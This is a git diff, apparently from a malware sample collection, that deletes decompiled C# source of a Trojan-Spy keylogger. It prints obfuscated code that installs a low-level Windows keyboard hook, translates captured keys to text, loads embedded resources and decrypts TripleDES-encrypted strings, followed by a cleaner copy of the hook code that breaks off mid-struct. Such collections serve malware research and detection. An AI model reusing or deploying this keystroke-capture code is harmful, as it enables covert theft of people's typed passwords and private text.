System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0001.cs deleted file mode 100644 index 4157a859..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0001.cs +++ /dev/null @@ -1,242 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using \u0002; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0004 -{ - internal sealed class \u0001 - { - public class \u0001 - { - [NonSerialized] - internal static \u0001.\u0001 \u0001; - private static \u0004.\u0001.\u0001.\u0002 \u0001; - private static \u0004.\u0001.\u0001.\u0003 \u0001; - private static int \u0001; - private static \u0004.\u0001.\u0001.\u0001 \u0001; - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002([In] int obj0, [In] \u0004.\u0001.\u0001.\u0001 obj1, [In] int obj2, [In] int obj3); - - [DllImport("user32", EntryPoint = "CallNextHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002([In] int obj0, [In] int obj1, [In] int obj2, [In] \u0004.\u0001.\u0001.\u0004 obj3); - - [DllImport("user32", EntryPoint = "UnhookWindowsHookEx", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002([In] int obj0); - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - public static void \u0002([In] \u0004.\u0001.\u0001.\u0002 obj0) => \u0004.\u0001.\u0001.\u0001 += obj0; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - public static void \u0003([In] \u0004.\u0001.\u0001.\u0002 obj0) => \u0004.\u0001.\u0001.\u0001 -= obj0; - - public void \u0002() - { - \u0004.\u0001.\u0001.\u0001 = new \u0004.\u0001.\u0001.\u0001(this.\u0002); - \u0004.\u0001.\u0001.\u0001 = \u0004.\u0001.\u0001.\u0002(13, \u0004.\u0001.\u0001.\u0001, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]).ToInt32(), 0); - } - - private int \u0002([In] int obj0, [In] int obj1, [In] ref \u0004.\u0001.\u0001.\u0004 obj2) - { - if (obj0 == 0) - { - switch (obj1) - { - case 256: - case 260: - \u0004.\u0001.\u0001.\u0002 obj3 = \u0004.\u0001.\u0001.\u0001; - if (obj3 != null) - { - obj3(this.\u0002((Keys) obj2.\u0001)); - break; - } - break; - case 257: - case 261: - \u0004.\u0001.\u0001.\u0003 obj4 = \u0004.\u0001.\u0001.\u0001; - if (obj4 != null) - { - obj4(this.\u0002((Keys) obj2.\u0001)); - break; - } - break; - } - } - return \u0004.\u0001.\u0001.\u0002(\u0004.\u0001.\u0001.\u0001, obj0, obj1, obj2); - } - - public void \u0003() - { - \u0004.\u0001.\u0001.\u0002(\u0004.\u0001.\u0001.\u0001); - // ISSUE: explicit finalizer call - this.Finalize(); - } - - private string \u0002([In] Keys obj0) - { - Keys keys = obj0; - if (keys == Keys.Back) - { - if (Operators.CompareString(\u0003.\u0002().\u0002().\u0005().Text, \u0004.\u0001.\u0001.\u0001(2478), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2487); - try - { - \u0003.\u0002().\u0002().\u0002().Text = \u0003.\u0002().\u0002().\u0002().Text.Substring(0, checked (\u0003.\u0002().\u0002().\u0002().Text.Length - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - else - { - if (keys >= Keys.A && keys <= Keys.Z) - return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? obj0.ToString() : obj0.ToString().ToLower(); - if (keys >= Keys.D0 && keys <= Keys.D9) - { - if ((Control.ModifierKeys & Keys.Shift) == Keys.None) - return obj0.ToString().Replace(\u0004.\u0001.\u0001.\u0001(2591), (string) null); - string Left = obj0.ToString(); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2496), false) == 0) - return \u0004.\u0001.\u0001.\u0001(407); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2501), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2506); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2511), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2516); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2521), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2526); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2531), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2536); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2541), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2546); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2551), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2556); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2561), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2566); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2571), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2576); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2581), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2586); - } - else - { - if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9) - return obj0.ToString().Replace(\u0004.\u0001.\u0001.\u0001(2596), (string) null); - if (keys >= Keys.Multiply && keys <= Keys.Divide) - { - string Left = obj0.ToString(); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2605), false) == 0) - return \u0004.\u0001.\u0001.\u0001(1958); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2614), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2566); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2627), false) == 0) - return \u0004.\u0001.\u0001.\u0001(1963); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2640), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2645); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2650), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2663); - } - else - { - if (keys == Keys.Space) - return \u0004.\u0001.\u0001.\u0001(1968); - if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes) - { - if ((Control.ModifierKeys & Keys.Shift) != Keys.None) - { - string Left = obj0.ToString(); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2668), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2681); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2686), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2645); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2699), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2720); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2725), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2734); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2739), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2748); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2753), false) == 0) - return \u0004.\u0001.\u0001.\u0001(1978); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2762), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2771); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2776), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2789); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2794), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2807); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2812), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2829); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2834), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2847); - } - else - { - string Left = obj0.ToString(); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2668), false) == 0) - return \u0004.\u0001.\u0001.\u0001(1963); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2686), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2852); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2699), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2857); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2725), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2862); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2739), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2867); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2753), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2872); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2762), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2877); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2776), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2882); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2794), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2663); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2812), false) == 0) - return \u0004.\u0001.\u0001.\u0001(1958); - if (Operators.CompareString(Left, \u0004.\u0001.\u0001.\u0001(2834), false) == 0) - return \u0004.\u0001.\u0001.\u0001(2887); - } - } - else - { - if (keys == Keys.Return) - return \u0004.\u0001.\u0001.\u0001(788); - if (!(Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2892), false) == 0 | Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2905), false) == 0)) - return Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2918), false) == 0 | Operators.CompareString(obj0.ToString(), \u0004.\u0001.\u0001.\u0001(2927), false) == 0 ? \u0004.\u0001.\u0001.\u0001(2936) : \u0004.\u0001.\u0001.\u0001(2857) + obj0.ToString() + \u0004.\u0001.\u0001.\u0001(2862); - } - } - } - } - return (string) null; - } - - static \u0001() => \u0001.\u0002.\u0002(); - - private delegate int \u0001(int nCode, int wParam, ref \u0004.\u0001.\u0001.\u0004 lParam); - - public delegate void \u0002(string Key); - - public delegate void \u0003(string Key); - - private struct \u0004 - { - public int \u0001; - public int \u0002; - public int \u0003; - public int \u0004; - public int \u0005; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0002.cs deleted file mode 100644 index b92d8377..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0002.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using d1a3l0ss_asdf.My; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace \u0004 -{ - [CompilerGenerated] - [DebuggerNonUserCode] - internal sealed class \u0002 - { - [SpecialName] - internal static MySettings \u0002() => MySettings.Default; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0003.cs deleted file mode 100644 index f02482a6..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0004/_0003.cs +++ /dev/null @@ -1,44 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using \u0001; -using \u0004; -using System; -using System.Runtime.InteropServices; - -namespace \u0004 -{ - internal sealed class \u0003 - { - [NonSerialized] - internal static \u0001.\u0001 \u0001; - - [DllImport("kernel32.dll", EntryPoint = "FindResource", SetLastError = true)] - private static extern IntPtr \u0002([In] IntPtr obj0, [In] string obj1, [In] string obj2); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr \u0002([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", EntryPoint = "SizeofResource", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int \u0002([In] IntPtr obj0, [In] IntPtr obj1); - - [DllImport("kernel32", EntryPoint = "LoadResource", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr \u0002([In] IntPtr obj0, [In] IntPtr obj1); - - public static byte[] \u0002([In] string obj0) - { - IntPtr num1 = \u0003.\u0002(ref obj0); - IntPtr num2 = \u0003.\u0002(num1, \u0003.\u0001(2958), \u0003.\u0001(2963)); - IntPtr source = \u0003.\u0002(num1, num2); - int length = \u0003.\u0002(num1, num2); - byte[] destination = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, destination, 0, length); - return destination; - } - - static \u0003() => \u0002.\u0002(); - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0005/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0005/_0001.cs deleted file mode 100644 index c4b2d4a7..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/_0005/_0001.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.IO; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace \u0005 -{ - internal sealed class \u0001 - { - internal class \u0001 - { - private TripleDESCryptoServiceProvider \u0001; - private UTF8Encoding \u0001; - private byte[] \u0001; - private byte[] \u0002; - - public \u0001([In] byte[] obj0, [In] byte[] obj1) - { - this.\u0001 = new TripleDESCryptoServiceProvider(); - this.\u0001 = new UTF8Encoding(); - this.\u0001 = obj0; - this.\u0002 = obj1; - } - - public string \u0002([In] string obj0) - { - string str; - try - { - str = this.\u0001.GetString(this.\u0002(Convert.FromBase64String(obj0), this.\u0001.CreateDecryptor(this.\u0001, this.\u0002))); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - return str; - } - - private byte[] \u0002([In] byte[] obj0, [In] ICryptoTransform obj1) - { - MemoryStream memoryStream = new MemoryStream(); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, obj1, CryptoStreamMode.Write); - cryptoStream.Write(obj0, 0, obj0.Length); - cryptoStream.FlushFinalBlock(); - memoryStream.Position = 0L; - byte[] buffer = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Read(buffer, 0, buffer.Length); - memoryStream.Close(); - cryptoStream.Close(); - return buffer; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/d1a3l0ss_asdf/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/d1a3l0ss_asdf/My/MySettings.cs deleted file mode 100644 index 78366323..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/d1a3l0ss_asdf/My/MySettings.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: d1a3l0ss_asdf.My.MySettings -// Assembly: d1a3l0s, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 50A68CBD-55EA-4E40-8DCB-F2A44DFB42DE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b.exe - -using \u0002; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace d1a3l0ss_asdf.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings \u0001 = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool \u0001; - private static object \u0001 = RuntimeHelpers.GetObjectValue(new object()); - - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerNonUserCode] - private static void \u0002(object sender, EventArgs e) - { - if (!\u0003.\u0002().SaveMySettingsOnExit) - return; - // ISSUE: reference to a compiler-generated method - \u0004.\u0002.\u0002().Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.\u0001) - { - object Expression = MySettings.\u0001; - ObjectFlowControl.CheckForSyncLockOnValueType(Expression); - Monitor.Enter(Expression); - try - { - if (!MySettings.\u0001) - { - \u0003.\u0002().Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!\u0003.\u0002().SaveMySettingsOnExit) - return; - \u0004.\u0002.\u0002().Save(); - }); - MySettings.\u0001 = true; - } - } - finally - { - Monitor.Exit(Expression); - } - } - return MySettings.\u0001; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/d1a3l0ss_asdf/Resources.resx b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/d1a3l0ss_asdf/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/d1a3l0ss_asdf/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/{50a68cbd-55ea-4e40-8dcb-f2a44dfb42de} b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.aml-44c1ddfbe16f7426b43f0f84e1cff26f11ab5843bd621cd6766374fa6511763b/{50a68cbd-55ea-4e40-8dcb-f2a44dfb42de} deleted file mode 100644 index 1e3ba2a042893318c1a0358e8421168d79c7db14..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2681 zcmbVOJCmbE5OzR7pkRXwHr&9$Rh8Tk`-V=?VQEfDN8ouC~ltt>dSxR|F!(l@cN1>5v z{`^KzBYcsJ&NTI%l^b$4MTcA)n(tBSH@WVu3ymw;*t#&6oU>%K^IWtkTxYvXL+(A9 zrsRRjJ64mnNNx%NPVQp!r#r0kws6U5R`GK&37U7W1Rfspx;P3~z9lNG=4W~ZW!UlO zNcF84Q$Myze4pCtWmWTI?%HcqbBKgqR?gKNM8t}a?chj+^;ODYU!`sltBpEKZk&Pc zcTD5Eyf)6P8MQ3A9SU&vXRMF_;ShV{{Tgw99xtp@t{+}<*VsYK?K8am<==#;%iCq* zA8CTTTn`o29?e1K8W8W5uUsP0 zS#x>YvT|tt@}0A99efR>7rx6ASMH^0FrgQ|%Y=LCnKARrone zBl7{<$6G**DNT`|?@*r;`@~lyJmz|2-hURbz`!07sANe9y^YNWp(d)Gmc~mZRS;il zMn$o&(wcH6D$~CVZOjduCSkKmE#=R-y}>cQet`c@grg7hvEd=?*z@u>&NVdhY=0VQ z2H5rtukw$}B>d!+!$&CdxfokzuH7!IRJOV9Z(u^W;4L+BhMGeE-1b2{a`J??Ommvm z!U}S&Xg$}c#TfqeH&_FS;p0pTc^56bCblzuV}We4m@mB6+gc?}Zb#-i74+_z zw#qgbd+P{>Aa=qi!l55m%<#&mEm+04(-WOZ!$OPVltT(pC zND1e$ZGatroV!k$HQt(3P5^SxKm)rYg{Gd+Tj$zH@!aqNL)HKfdeJ#k4GZ2ExevcX zP@Uksyk3airSz2vyw16qima%*IYMSx8`Y{y!bZuH>xThx$*^$!%W7hq_r-JrH6GPa zF$Kmoil9?y{bWp!K^3mYyKn5B*4Y-T&ickfZsK zzK+N@GvDDrKQiw!?a*e^@FT4^ZKk1*bhr5x+P~Nf44KtrDDd$SD~3y)!on3{al%W$ zvNqSKk~#%|D7qAS$ReFIfWPO$f#%!+xB`630Aa2Gz2E+yh7l7nO9A*G1<>$P01zmJ z0`EgX3%enBMG^Gchtf<4&V)?29cByVBt3()Ebu>QA+7zvXY#D>iUia2y`st9l<5v# zpSO<}8LMcHLBl;t)B_;KhV80#4A9IP>p}szhH-5unP}z4(wAwlCR2W;NwlU@(sVm( z3iG|NdJx#rO%8F~dw`!mXawgUz9nK!>`iiJ+U5cy+L;5t51^j?hor#V@1ECCzLQAH zoo5#z8Cy6@R4%ahy*K$`B1U3LbDfEa*oTwhV-XL{d+2&qbb2=FrlFq>&@h0d42`7j z1U?O*A9m2;hXRZZ*wnuOjtrT&z}Eo)%?LIkgEty1(=^;KQ~%RlrjZeYc$bL^JDfD~ zGNqtIE#*7`K!TFWG%3^!4)1b6O4>n_S{4aEQQZU8+U>YX&{iyQnM?sL#hXO&H%skQ zNC-v{emql(z!5kF&?BN-&?GV?zo%h1iRM9*r75Kl3Y-|w`qSE!{^(B?ocb3}aOz&b zRgQP$1l?50$mLp=AU=pwa)cFg&8HO%vQDW?3B5c7C!y&zh*t?r>?xk}Mcw(Y@ zvWVRKVha|`DNi6ja}exoVW>cs7?mWx1nz_)oD$CT{_{+lfALAIPYOFrdJ$IV!dN0y z!vcgKks|T+BKhKHCaz0i0rPO5B~)2J%?E(`uNOJCRahSw#= Keys.A && keys <= Keys.Z) - return Control.IsKeyLocked(Keys.Capital) | (Control.ModifierKeys & Keys.Shift) != Keys.None ? rBNTwUJxRpPsY.ToString() : rBNTwUJxRpPsY.ToString().ToLower(); - if (keys >= Keys.D0 && keys <= Keys.D9) - { - if ((Control.ModifierKeys & Keys.Shift) == Keys.None) - return rBNTwUJxRpPsY.ToString().Replace("D", (string) null); - string Left = rBNTwUJxRpPsY.ToString(); - if (Operators.CompareString(Left, "D1", false) == 0) - return "!"; - if (Operators.CompareString(Left, "D2", false) == 0) - return "@"; - if (Operators.CompareString(Left, "D3", false) == 0) - return "#"; - if (Operators.CompareString(Left, "D4", false) == 0) - return "$"; - if (Operators.CompareString(Left, "D5", false) == 0) - return "%"; - if (Operators.CompareString(Left, "D6", false) == 0) - return "^"; - if (Operators.CompareString(Left, "D7", false) == 0) - return "&"; - if (Operators.CompareString(Left, "D8", false) == 0) - return "*"; - if (Operators.CompareString(Left, "D9", false) == 0) - return "("; - if (Operators.CompareString(Left, "D0", false) == 0) - return ")"; - } - else - { - if (keys >= Keys.NumPad0 && keys <= Keys.NumPad9) - return rBNTwUJxRpPsY.ToString().Replace("NumPad", (string) null); - if (keys >= Keys.Multiply && keys <= Keys.Divide) - { - string Left = rBNTwUJxRpPsY.ToString(); - if (Operators.CompareString(Left, "Divide", false) == 0) - return "/"; - if (Operators.CompareString(Left, "Multiply", false) == 0) - return "*"; - if (Operators.CompareString(Left, "Subtract", false) == 0) - return "-"; - if (Operators.CompareString(Left, "Add", false) == 0) - return "+"; - if (Operators.CompareString(Left, "Decimal", false) == 0) - return "."; - } - else - { - if (keys == Keys.Space) - return " "; - if (keys >= Keys.OemSemicolon && keys <= Keys.OemQuotes) - { - if ((Control.ModifierKeys & Keys.Shift) != Keys.None) - { - string Left = rBNTwUJxRpPsY.ToString(); - if (Operators.CompareString(Left, "OemMinus", false) == 0) - return "_"; - if (Operators.CompareString(Left, "Oemplus", false) == 0) - return "+"; - if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0) - return "{"; - if (Operators.CompareString(Left, "Oem6", false) == 0) - return "}"; - if (Operators.CompareString(Left, "Oem5", false) == 0) - return "|"; - if (Operators.CompareString(Left, "Oem1", false) == 0) - return ":"; - if (Operators.CompareString(Left, "Oem7", false) == 0) - return "\""; - if (Operators.CompareString(Left, "Oemcomma", false) == 0) - return "<"; - if (Operators.CompareString(Left, "OemPeriod", false) == 0) - return ">"; - if (Operators.CompareString(Left, "OemQuestion", false) == 0) - return "?"; - if (Operators.CompareString(Left, "Oemtilde", false) == 0) - return "~"; - } - else - { - string Left = rBNTwUJxRpPsY.ToString(); - if (Operators.CompareString(Left, "OemMinus", false) == 0) - return "-"; - if (Operators.CompareString(Left, "Oemplus", false) == 0) - return "="; - if (Operators.CompareString(Left, "OemOpenBrackets", false) == 0) - return "["; - if (Operators.CompareString(Left, "Oem6", false) == 0) - return "]"; - if (Operators.CompareString(Left, "Oem5", false) == 0) - return "\\"; - if (Operators.CompareString(Left, "Oem1", false) == 0) - return ";"; - if (Operators.CompareString(Left, "Oem7", false) == 0) - return "'"; - if (Operators.CompareString(Left, "Oemcomma", false) == 0) - return ","; - if (Operators.CompareString(Left, "OemPeriod", false) == 0) - return "."; - if (Operators.CompareString(Left, "OemQuestion", false) == 0) - return "/"; - if (Operators.CompareString(Left, "Oemtilde", false) == 0) - return "`"; - } - } - else - return keys == Keys.Return ? Environment.NewLine : "<" + rBNTwUJxRpPsY.ToString() + ">"; - } - } - return (string) null; - } - - private delegate int ASvYaVgwkYxIH( - int tTQGvBoPLHQNS, - int pOhAHcyUuPjyI, - ref GUlBzjdJZuXUZ.zWmTJkgAgppfp ETDCsoKFkSJxT); - - public delegate void xznKgAJnisfNwEventHandler(string kKhkokmCeJtIL); - - public delegate void JcJpCktjOpApbEventHandler(string kKhkokmCeJtIL); - - private struct zWmTJkgAgppfp - { - public int hJfLUaVFOtnuO; - public int JnwEUAkhUzEIO; - public int oLVJVojHfVVSX; - public int 